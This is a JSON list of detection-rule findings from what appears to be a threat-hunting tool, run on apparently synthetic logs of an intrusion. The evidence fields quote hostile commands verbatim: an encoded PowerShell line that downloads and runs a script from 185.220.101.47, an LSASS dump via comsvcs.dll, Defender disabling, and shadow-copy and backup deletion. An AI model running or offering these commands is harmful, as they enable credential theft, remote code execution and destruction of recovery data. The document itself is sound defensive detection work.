[ { "finding_id": "ATH-004:evt-000381", "rule_id": "ATH-004", "title": "Possible LSASS credential access", "severity": "CRITICAL", "device": "PC01", "user": "jdoe", "first_seen": "2026-08-17T09:18:22+00:00", "last_seen": "2026-08-17T09:18:22+00:00", "event_ids": [ "evt-000381" ], "reason": "Command line matched credential-access indicators (comsvcs.dll MiniDump, explicit lsass reference, rundll32 MiniDump export). This may indicate an attempt to extract credential material from LSASS memory, which would enable authentication as other users. Requires immediate verification against the account's expected activity.", "evidence": [ { "event_id": "evt-000381", "timestamp": "2026-08-17T09:18:22+00:00", "summary": "powershell.exe -> rundll32.exe: rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 712 C:\\Users\\Public\\lsass.dmp full" } ], "fields_used": [ "command_line", "process_name", "parent_process_name", "device", "user" ], "false_positives": [ "IT support intentionally capturing an LSASS dump to debug an authentication or crash issue (Sysinternals procdump is a legitimate tool).", "Endpoint security and DFIR products that legitimately read LSASS memory.", "Performance or crash-dump tooling configured to capture all processes.", "Security testing, red-team exercises, or detection validation runs." ], "metadata": { "indicators": [ "comsvcs.dll MiniDump", "explicit lsass reference", "rundll32 MiniDump export" ], "command_line": "rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 712 C:\\Users\\Public\\lsass.dmp full", "parent_process": "powershell.exe" }, "channels": [] }, { "finding_id": "ATH-005:evt-000419", "rule_id": "ATH-005", "title": "Failed logon burst followed by successful authentication", "severity": "CRITICAL", "device": "FS02", "user": "svc_backup", "first_seen": "2026-08-17T09:28:00+00:00", "last_seen": "2026-08-17T09:33:47+00:00", "event_ids": [ "evt-000419", "evt-000422", "evt-000425", "evt-000427", "evt-000429", "evt-000431", "evt-000432", "evt-000433", "evt-000437", "evt-000438", "evt-000439", "evt-000440", "evt-000442", "evt-000444", "evt-000457" ], "reason": "14 failed logons for 'svc_backup' on FS02 from 10.10.20.15 within 143s. A successful logon followed at 09:33:47, 204s after the last failure. This may indicate the credential was successfully guessed and the account is now compromised.", "evidence": [ { "event_id": "evt-000419", "timestamp": "2026-08-17T09:28:00+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000422", "timestamp": "2026-08-17T09:28:11+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000425", "timestamp": "2026-08-17T09:28:22+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000427", "timestamp": "2026-08-17T09:28:33+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000429", "timestamp": "2026-08-17T09:28:44+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000431", "timestamp": "2026-08-17T09:28:55+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000432", "timestamp": "2026-08-17T09:29:06+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000433", "timestamp": "2026-08-17T09:29:17+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000437", "timestamp": "2026-08-17T09:29:28+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000438", "timestamp": "2026-08-17T09:29:39+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000439", "timestamp": "2026-08-17T09:29:50+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000440", "timestamp": "2026-08-17T09:30:01+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000442", "timestamp": "2026-08-17T09:30:12+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000444", "timestamp": "2026-08-17T09:30:23+00:00", "summary": "Failed Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15 (bad_password)" }, { "event_id": "evt-000457", "timestamp": "2026-08-17T09:33:47+00:00", "summary": "SUCCESSFUL Network (SMB / share access) logon for 'svc_backup' on FS02 from 10.10.20.15" } ], "fields_used": [ "device", "user", "source_ip", "source_device", "action", "failure_reason", "logon_type", "timestamp" ], "false_positives": [ "A service account with a stale cached password retrying automatically -- by far the most common cause of failure bursts in real environments.", "A user whose phone or mapped drive holds an old password after a reset.", "Vulnerability scanners or pen-test tooling performing authenticated checks.", "A misconfigured application retrying authentication in a tight loop.", "Account lockout thresholds causing repeated failures after a single mistake." ], "metadata": { "failure_count": 14, "source_ip": "10.10.20.15", "source_device": "PC01", "burst_start": "2026-08-17T09:28:00+00:00", "burst_end": "2026-08-17T09:30:23+00:00", "succeeded": true }, "channels": [] }, { "finding_id": "ATH-012:evt-000901", "rule_id": "ATH-012", "title": "Security product disabled or reconfigured", "severity": "CRITICAL", "device": "PC03", "user": "achen", "first_seen": "2026-08-17T11:12:00+00:00", "last_seen": "2026-08-17T11:13:10+00:00", "event_ids": [ "evt-000901", "evt-000905", "evt-000909" ], "reason": "3 distinct security-control change(s) on PC03 by 'achen': Defender real-time monitoring disabled; a Defender scanning exclusion was added; a security product process was terminated. A single change is often administrative; several in one window is the shape of an attacker clearing the way for what comes next.", "evidence": [ { "event_id": "evt-000901", "timestamp": "2026-08-17T11:12:00+00:00", "summary": "powershell.exe -nop -w hidden Set-MpPreference -DisableRealtimeMonitoring $true" }, { "event_id": "evt-000905", "timestamp": "2026-08-17T11:12:35+00:00", "summary": "powershell.exe Add-MpPreference -ExclusionPath C:\\ProgramData\\svc" }, { "event_id": "evt-000909", "timestamp": "2026-08-17T11:13:10+00:00", "summary": "taskkill.exe /F /IM MsMpEng.exe" } ], "fields_used": [ "command_line", "process_name", "device", "user", "timestamp" ], "false_positives": [ "An administrator disabling real-time protection to install or troubleshoot software -- common, and the single largest source of noise for this rule.", "Exclusions added for legitimate line-of-business applications with known scanner conflicts.", "Endpoint agent upgrades that stop the service as part of a normal upgrade.", "Security products restarting their own components during definition updates." ], "metadata": { "procedures": [ "defender_exclusion_added", "defender_realtime_disabled", "security_process_killed" ], "distinct_controls_affected": 3, "descriptions": [ "Defender real-time monitoring disabled", "a Defender scanning exclusion was added", "a security product process was terminated" ], "process_name": "powershell.exe", "behavior_ids": [ "security_tool_configuration_modified:evt-000901", "security_tool_configuration_modified:evt-000905", "security_tool_configuration_modified:evt-000909" ] }, "channels": [] }, { "finding_id": "ATH-011:evt-000922", "rule_id": "ATH-011", "title": "Windows recovery mechanisms destroyed", "severity": "CRITICAL", "device": "PC03", "user": "achen", "first_seen": "2026-08-17T11:14:30+00:00", "last_seen": "2026-08-17T11:15:40+00:00", "event_ids": [ "evt-000922", "evt-000925", "evt-000927" ], "reason": "3 distinct recovery control(s) were destroyed on PC03 by 'achen': Windows backup catalog deleted; boot-time recovery disabled; volume shadow copies deleted. Destroying recovery paths removes the ability to roll back and commonly immediately precedes encryption.", "evidence": [ { "event_id": "evt-000922", "timestamp": "2026-08-17T11:14:30+00:00", "summary": "vssadmin.exe delete shadows /all /quiet" }, { "event_id": "evt-000925", "timestamp": "2026-08-17T11:15:05+00:00", "summary": "wbadmin.exe delete catalog -quiet" }, { "event_id": "evt-000927", "timestamp": "2026-08-17T11:15:40+00:00", "summary": "bcdedit.exe /set {default} recoveryenabled no" } ], "fields_used": [ "command_line", "process_name", "device", "user", "timestamp" ], "false_positives": [ "Backup software legitimately rotating or pruning old shadow copies.", "An administrator clearing space on a volume that has run out of shadow storage.", "Disk imaging or migration tooling that resets boot configuration.", "Note that read-only enumeration (`vssadmin list shadows`) is deliberately excluded and never produces a finding." ], "metadata": { "procedures": [ "backup_catalog_deletion", "boot_recovery_disabled", "shadow_copy_deletion" ], "distinct_controls_affected": 3, "descriptions": [ "Windows backup catalog deleted", "boot-time recovery disabled", "volume shadow copies deleted" ], "process_name": "vssadmin.exe", "behavior_ids": [ "recovery_mechanism_disabled:evt-000922", "recovery_mechanism_disabled:evt-000925", "recovery_mechanism_disabled:evt-000927" ] }, "channels": [] }, { "finding_id": "ATH-001:evt-000357", "rule_id": "ATH-001", "title": "Office application spawned a script interpreter", "severity": "HIGH", "device": "PC01", "user": "jdoe", "first_seen": "2026-08-17T09:12:41+00:00", "last_seen": "2026-08-17T09:12:41+00:00", "event_ids": [ "evt-000357" ], "reason": "WINWORD.EXE started powershell.exe. Office applications have no routine need to launch script interpreters; this parent/child relationship is consistent with macro-based code execution from a document.", "evidence": [ { "event_id": "evt-000357", "timestamp": "2026-08-17T09:12:41+00:00", "summary": "WINWORD.EXE (PID 4820) spawned powershell.exe (PID 6612): powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKA..." } ], "fields_used": [ "parent_process_name", "process_name", "command_line", "device", "user", "timestamp" ], "false_positives": [ "Legitimate Office add-ins or COM automation that shell out to scripts.", "Line-of-business applications that drive Excel/Word macros for reporting.", "RPA tooling (UiPath, Power Automate Desktop) automating Office.", "Enterprise document templates that invoke signed helper scripts on open." ], "metadata": { "parent_process": "WINWORD.EXE", "child_process": "powershell.exe", "command_line": "powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADIAMAAuADEAMAAxAC4ANAA3AC8AYQAuAHAAcwAxACcAKQA=" }, "channels": [] }, { "finding_id": "ATH-002:evt-000357", "rule_id": "ATH-002", "title": "Encoded PowerShell command execution", "severity": "HIGH", "device": "PC01", "user": "jdoe", "first_seen": "2026-08-17T09:12:41+00:00", "last_seen": "2026-08-17T09:12:41+00:00", "event_ids": [ "evt-000357" ], "reason": "PowerShell ran a base64-encoded command. The decoded payload retrieves and executes remote content, which is consistent with a first-stage downloader. Evasion flags observed: hidden window, no profile.", "evidence": [ { "event_id": "evt-000357", "timestamp": "2026-08-17T09:12:41+00:00", "summary": "WINWORD.EXE -> powershell.exe with an encoded command; decoded: IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.47/a.ps1')" } ], "fields_used": [ "process_name", "command_line", "parent_process_name", "device", "user" ], "false_positives": [ "Configuration management (SCCM/Intune/Ansible/Chef) routinely wraps scripts in -EncodedCommand to avoid shell quoting issues.", "Software installers and vendor agents invoking helper scripts.", "Administrators using encoded commands to pass multi-line scripts remotely.", "CI/CD agents executing build steps on Windows runners." ], "metadata": { "encoded_length": 204, "decoded_command": "IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.47/a.ps1')", "evasion_flags": [ "hidden window", "no profile" ], "download_indicators": [ "downloadstring", "iex", "net.webclient", "http://" ], "parent_process": "WINWORD.EXE" }, "channels": [] }, { "finding_id": "ATH-003:evt-000358", "rule_id": "ATH-003", "title": "Script interpreter connected to an external host", "severity": "HIGH", "device": "PC01", "user": "jdoe", "first_seen": "2026-08-17T09:12:43+00:00", "last_seen": "2026-08-17T09:38:10+00:00", "event_ids": [ "evt-000358", "evt-000362", "evt-000380", "evt-000399", "evt-000421", "evt-000454", "evt-000486" ], "reason": "powershell.exe made 7 outbound connection(s) to the external address 185.220.101.47 on port(s) 80, 443. Script interpreters do not normally initiate direct internet connections; this may indicate payload retrieval or command-and-control. The connection to port 80 indicates cleartext HTTP, which is commonly used to retrieve a second-stage script.", "evidence": [ { "event_id": "evt-000358", "timestamp": "2026-08-17T09:12:43+00:00", "summary": "powershell.exe (PID 6612) -> 185.220.101.47:80/tcp url=http://185.220.101.47/a.ps1" }, { "event_id": "evt-000362", "timestamp": "2026-08-17T09:13:10+00:00", "summary": "powershell.exe (PID 6612) -> 185.220.101.47:443/tcp" }, { "event_id": "evt-000380", "timestamp": "2026-08-17T09:18:10+00:00", "summary": "powershell.exe (PID 6612) -> 185.220.101.47:443/tcp" }, { "event_id": "evt-000399", "timestamp": "2026-08-17T09:23:10+00:00", "summary": "powershell.exe (PID 6612) -> 185.220.101.47:443/tcp" }, { "event_id": "evt-000421", "timestamp": "2026-08-17T09:28:10+00:00", "summary": "powershell.exe (PID 6612) -> 185.220.101.47:443/tcp" }, { "event_id": "evt-000454", "timestamp": "2026-08-17T09:33:10+00:00", "summary": "powershell.exe (PID 6612) -> 185.220.101.47:443/tcp" }, { "event_id": "evt-000486", "timestamp": "2026-08-17T09:38:10+00:00", "summary": "powershell.exe (PID 6612) -> 185.220.101.47:443/tcp" } ], "fields_used": [ "process_name", "process_id", "process_guid", "remote_ip", "remote_port", "direction", "protocol", "remote_url", "device", "user", "timestamp" ], "false_positives": [ "PowerShell installing modules from the PowerShell Gallery.", "Scripts calling cloud management APIs (Azure, AWS, Microsoft Graph).", "Package managers such as Chocolatey or winget invoked through PowerShell.", "Telemetry, licensing or update checks made by vendor scripts.", "Administrators running ad-hoc scripts that query internet resources." ], "metadata": { "remote_ip": "185.220.101.47", "ports": [ 80, 443 ], "connection_count": 7, "process_id": 6612, "process_guid": "start:pc01|6612|2026-08-17T09:12:41.000Z", "urls": [ "http://185.220.101.47/a.ps1" ], "cleartext_http": true }, "channels": [] }, { "finding_id": "ATH-014:evt-000381", "rule_id": "ATH-014", "title": "Credential material access from a command line", "severity": "HIGH", "device": "PC01", "user": "jdoe", "first_seen": "2026-08-17T09:18:22+00:00", "last_seen": "2026-08-17T09:18:22+00:00", "event_ids": [ "evt-000381" ], "reason": "Command line(s) on PC01 by 'jdoe' read credential material: process memory was dumped through comsvcs.dll MiniDump. This is the step that turns one compromised account into many. Command lines only: an in-process dump would not appear here at all.", "evidence": [ { "event_id": "evt-000381", "timestamp": "2026-08-17T09:18:22+00:00", "summary": "powershell.exe -> rundll32.exe: rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 712 C:\\Users\\Public\\lsass.dmp full" } ], "fields_used": [ "command_line", "process_name", "parent_process_name", "device", "user", "timestamp" ], "false_positives": [ "Backup and disaster-recovery tooling that saves registry hives or takes an IFM snapshot of a domain controller (ntdsutil ifm is also a documented DC-promotion procedure).", "Samba administrators auditing accounts with pdbedit -- the NT-hash flag is rarely needed for that, which is why it is the one matched.", "IT support capturing an LSASS dump for a crash or authentication issue.", "Red-team exercises and detection validation runs." ], "metadata": { "procedures": [ "comsvcs_minidump" ], "credential_stores": [ "lsass" ], "command_line": "rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 712 C:\\Users\\Public\\lsass.dmp full", "command_lines": [ "rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 712 C:\\Users\\Public\\lsass.dmp full" ], "process_name": "rundll32.exe", "parent_process": "powershell.exe" }, "channels": [] }, { "finding_id": "ATH-006:evt-000457", "rule_id": "ATH-006", "title": "Account authenticated from a host where it has no session", "severity": "HIGH", "device": "FS02", "user": "svc_backup", "first_seen": "2026-08-17T09:33:47+00:00", "last_seen": "2026-08-17T09:33:47+00:00", "event_ids": [ "evt-000457" ], "reason": "Account 'svc_backup' authenticated to FS02 from PC01, but has no interactive session on PC01 (observed owner(s): jdoe). Credential use originating from a host the account does not operate on is consistent with lateral movement using stolen credentials, though legitimate alternate-credential workflows produce the same pattern.", "evidence": [ { "event_id": "evt-000457", "timestamp": "2026-08-17T09:33:47+00:00", "summary": "'svc_backup' authenticated to FS02 from PC01 (10.10.20.15) via Network (SMB / share access)" } ], "fields_used": [ "device", "user", "source_device", "source_ip", "logon_type", "action", "timestamp" ], "false_positives": [ "Jump boxes, bastion hosts and admin workstations where many accounts legitimately authenticate outward.", "Shared or kiosk machines with no single owning user.", "'runas /netonly' and other legitimate alternate-credential workflows.", "Scheduled tasks or agents running under service accounts on user endpoints.", "A genuinely new employee or a device reassigned to a different owner, where the ownership baseline is simply out of date." ], "metadata": { "source_device": "PC01", "source_host_owners": [ "jdoe" ], "target_devices": [ "FS02" ], "logon_count": 1, "logon_types": [ 3 ] }, "channels": [] }, { "finding_id": "ATH-007:evt-000461", "rule_id": "ATH-007", "title": "Remote service execution (PsExec-style)", "severity": "HIGH", "device": "FS02", "user": "svc_backup", "first_seen": "2026-08-17T09:34:12+00:00", "last_seen": "2026-08-17T09:34:12+00:00", "event_ids": [ "evt-000461" ], "reason": "The Service Control Manager started an interactive command interpreter. This pattern is consistent with remote command execution via a temporary service. Command output is redirected to the administrative share '\\\\127.0.0.1\\ADMIN$', which is characteristic of remote execution frameworks collecting results over SMB.", "evidence": [ { "event_id": "evt-000461", "timestamp": "2026-08-17T09:34:12+00:00", "summary": "services.exe (PID 712) spawned cmd.exe: cmd.exe /Q /c whoami 1> \\\\127.0.0.1\\ADMIN$\\__1755419652 2>&1" } ], "fields_used": [ "parent_process_name", "process_name", "command_line", "device", "user", "timestamp" ], "false_positives": [ "IT administrators legitimately using PsExec for remote support.", "Monitoring, backup or deployment agents that run scripts via a service.", "Scheduled maintenance jobs implemented as transient services.", "Vulnerability scanners performing authenticated remote checks." ], "metadata": { "command_line": "cmd.exe /Q /c whoami 1> \\\\127.0.0.1\\ADMIN$\\__1755419652 2>&1", "admin_share_redirect": true, "process": "cmd.exe" }, "channels": [] }, { "finding_id": "ATH-008:evt-000469", "rule_id": "ATH-008", "title": "Bulk data staged into an archive", "severity": "HIGH", "device": "FS02", "user": "svc_backup", "first_seen": "2026-08-17T09:35:40+00:00", "last_seen": "2026-08-17T09:35:40+00:00", "event_ids": [ "evt-000469" ], "reason": "An archive utility was invoked and the source path uses a wildcard, implying bulk collection and the destination is a shared staging directory. This is consistent with staging data prior to exfiltration, but does not by itself show that any data left the network.", "evidence": [ { "event_id": "evt-000469", "timestamp": "2026-08-17T09:35:40+00:00", "summary": "cmd.exe -> powershell.exe: powershell.exe -nop -c Compress-Archive -Path D:\\Finance\\* -DestinationPath C:\\Windows\\Temp\\fin.zip" } ], "fields_used": [ "command_line", "process_name", "parent_process_name", "device", "user" ], "false_positives": [ "Legitimate backup jobs and scheduled archive tasks.", "Users compressing a folder to share or email.", "Log rotation and diagnostic bundle collection by IT tooling.", "Software build and packaging steps producing artefacts in temp directories." ], "metadata": { "command_line": "powershell.exe -nop -c Compress-Archive -Path D:\\Finance\\* -DestinationPath C:\\Windows\\Temp\\fin.zip", "bulk_source": true, "staging_destination": true }, "channels": [] }, { "finding_id": "ATH-009:evt-000355", "rule_id": "ATH-009", "title": "Macro-enabled document opened via email client", "severity": "MEDIUM", "device": "PC01", "user": "jdoe", "first_seen": "2026-08-17T09:12:04+00:00", "last_seen": "2026-08-17T09:12:04+00:00", "event_ids": [ "evt-000355" ], "reason": "Outlook launched WINWORD.EXE to open a document in a macro-capable format. This is consistent with a malicious attachment being opened, independent of whether any embedded macro subsequently ran.", "evidence": [ { "event_id": "evt-000355", "timestamp": "2026-08-17T09:12:04+00:00", "summary": "OUTLOOK.EXE opened WINWORD.EXE: \"C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\" /n \"C:\\Users\\jdoe\\Downloads\\Invoice_Q3_2026.docm\"" } ], "fields_used": [ "parent_process_name", "process_name", "command_line", "device", "user" ], "false_positives": [ "Legitimate business documents that happen to be distributed in a macro-capable format (e.g. .xlsm templates used for shared calculations) without containing an actively malicious macro.", "Internal mail-merge or reporting workflows that routinely email .xlsm/.docm files to staff." ], "metadata": { "process": "WINWORD.EXE", "command_line": "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\" /n \"C:\\Users\\jdoe\\Downloads\\Invoice_Q3_2026.docm\"" }, "channels": [] }, { "finding_id": "ATH-010:evt-000367", "rule_id": "ATH-010", "title": "Sequence of discovery commands from one parent process", "severity": "MEDIUM", "device": "PC01", "user": "jdoe", "first_seen": "2026-08-17T09:15:03+00:00", "last_seen": "2026-08-17T09:15:37+00:00", "event_ids": [ "evt-000367", "evt-000370", "evt-000374" ], "reason": "3 distinct discovery commands (net.exe, nltest.exe, whoami.exe) ran from the same parent process (PID 6612) within 34s, consistent with systematic reconnaissance of the local environment and domain.", "evidence": [ { "event_id": "evt-000367", "timestamp": "2026-08-17T09:15:03+00:00", "summary": "powershell.exe -> whoami.exe: whoami.exe /all" }, { "event_id": "evt-000370", "timestamp": "2026-08-17T09:15:20+00:00", "summary": "powershell.exe -> net.exe: net group \"Domain Admins\" /domain" }, { "event_id": "evt-000374", "timestamp": "2026-08-17T09:15:37+00:00", "summary": "powershell.exe -> nltest.exe: nltest /domain_trusts" } ], "fields_used": [ "process_name", "parent_process_id", "device", "user", "timestamp" ], "false_positives": [ "IT support running a single discovery command (e.g. ipconfig /all, whoami) during routine troubleshooting -- excluded by design, since a lone command cannot meet the >=2-distinct-binaries condition.", "Automated inventory or compliance scripts that legitimately run several discovery commands in sequence from one scheduled task.", "A single administrator manually running a short checklist of commands during planned environment documentation." ], "metadata": { "matched_binaries": [ "net.exe", "nltest.exe", "whoami.exe" ], "candidate_techniques": [ "T1033", "T1069.002", "T1482" ], "parent_process_id": 6612, "span_seconds": 34 }, "channels": [] }, { "finding_id": "ATH-003:evt-000481", "rule_id": "ATH-003", "title": "Script interpreter connected to an external host", "severity": "MEDIUM", "device": "FS02", "user": "svc_backup", "first_seen": "2026-08-17T09:37:05+00:00", "last_seen": "2026-08-17T09:37:05+00:00", "event_ids": [ "evt-000481" ], "reason": "powershell.exe made 1 outbound connection(s) to the external address 185.220.101.47 on port(s) 443. Script interpreters do not normally initiate direct internet connections; this may indicate payload retrieval or command-and-control.", "evidence": [ { "event_id": "evt-000481", "timestamp": "2026-08-17T09:37:05+00:00", "summary": "powershell.exe (PID 2280) -> 185.220.101.47:443/tcp" } ], "fields_used": [ "process_name", "process_id", "process_guid", "remote_ip", "remote_port", "direction", "protocol", "remote_url", "device", "user", "timestamp" ], "false_positives": [ "PowerShell installing modules from the PowerShell Gallery.", "Scripts calling cloud management APIs (Azure, AWS, Microsoft Graph).", "Package managers such as Chocolatey or winget invoked through PowerShell.", "Telemetry, licensing or update checks made by vendor scripts.", "Administrators running ad-hoc scripts that query internet resources." ], "metadata": { "remote_ip": "185.220.101.47", "ports": [ 443 ], "connection_count": 1, "process_id": 2280, "process_guid": "start:fs02|2280|2026-08-17T09:35:40.000Z", "urls": [], "cleartext_http": false }, "channels": [] }, { "finding_id": "ATH-003:evt-000599", "rule_id": "ATH-003", "title": "Script interpreter connected to an external host", "severity": "MEDIUM", "device": "PC07", "user": "adm_sarah", "first_seen": "2026-08-17T10:05:06+00:00", "last_seen": "2026-08-17T10:05:06+00:00", "event_ids": [ "evt-000599" ], "reason": "powershell.exe made 1 outbound connection(s) to the external address 20.190.160.14 on port(s) 443. Script interpreters do not normally initiate direct internet connections; this may indicate payload retrieval or command-and-control.", "evidence": [ { "event_id": "evt-000599", "timestamp": "2026-08-17T10:05:06+00:00", "summary": "powershell.exe (PID 5150) -> 20.190.160.14:443/tcp url=https://login.microsoftonline.com/" } ], "fields_used": [ "process_name", "process_id", "process_guid", "remote_ip", "remote_port", "direction", "protocol", "remote_url", "device", "user", "timestamp" ], "false_positives": [ "PowerShell installing modules from the PowerShell Gallery.", "Scripts calling cloud management APIs (Azure, AWS, Microsoft Graph).", "Package managers such as Chocolatey or winget invoked through PowerShell.", "Telemetry, licensing or update checks made by vendor scripts.", "Administrators running ad-hoc scripts that query internet resources." ], "metadata": { "remote_ip": "20.190.160.14", "ports": [ 443 ], "connection_count": 1, "process_id": 5150, "process_guid": "start:pc07|5150|2026-08-17T10:05:00.000Z", "urls": [ "https://login.microsoftonline.com/" ], "cleartext_http": false }, "channels": [] }, { "finding_id": "ATH-002:evt-000598", "rule_id": "ATH-002", "title": "Encoded PowerShell command execution", "severity": "LOW", "device": "PC07", "user": "adm_sarah", "first_seen": "2026-08-17T10:05:00+00:00", "last_seen": "2026-08-17T10:05:00+00:00", "event_ids": [ "evt-000598" ], "reason": "PowerShell ran a base64-encoded command. Encoding alone is weak evidence and is common in legitimate automation; review the decoded content below.", "evidence": [ { "event_id": "evt-000598", "timestamp": "2026-08-17T10:05:00+00:00", "summary": "CcmExec.exe -> powershell.exe with an encoded command; decoded: Get-WmiObject -Class Win32_QuickFixEngineering | Select-Object HotFixID,InstalledOn" } ], "fields_used": [ "process_name", "command_line", "parent_process_name", "device", "user" ], "false_positives": [ "Configuration management (SCCM/Intune/Ansible/Chef) routinely wraps scripts in -EncodedCommand to avoid shell quoting issues.", "Software installers and vendor agents invoking helper scripts.", "Administrators using encoded commands to pass multi-line scripts remotely.", "CI/CD agents executing build steps on Windows runners." ], "metadata": { "encoded_length": 224, "decoded_command": "Get-WmiObject -Class Win32_QuickFixEngineering | Select-Object HotFixID,InstalledOn", "evasion_flags": [], "download_indicators": [], "parent_process": "CcmExec.exe" }, "channels": [] } ]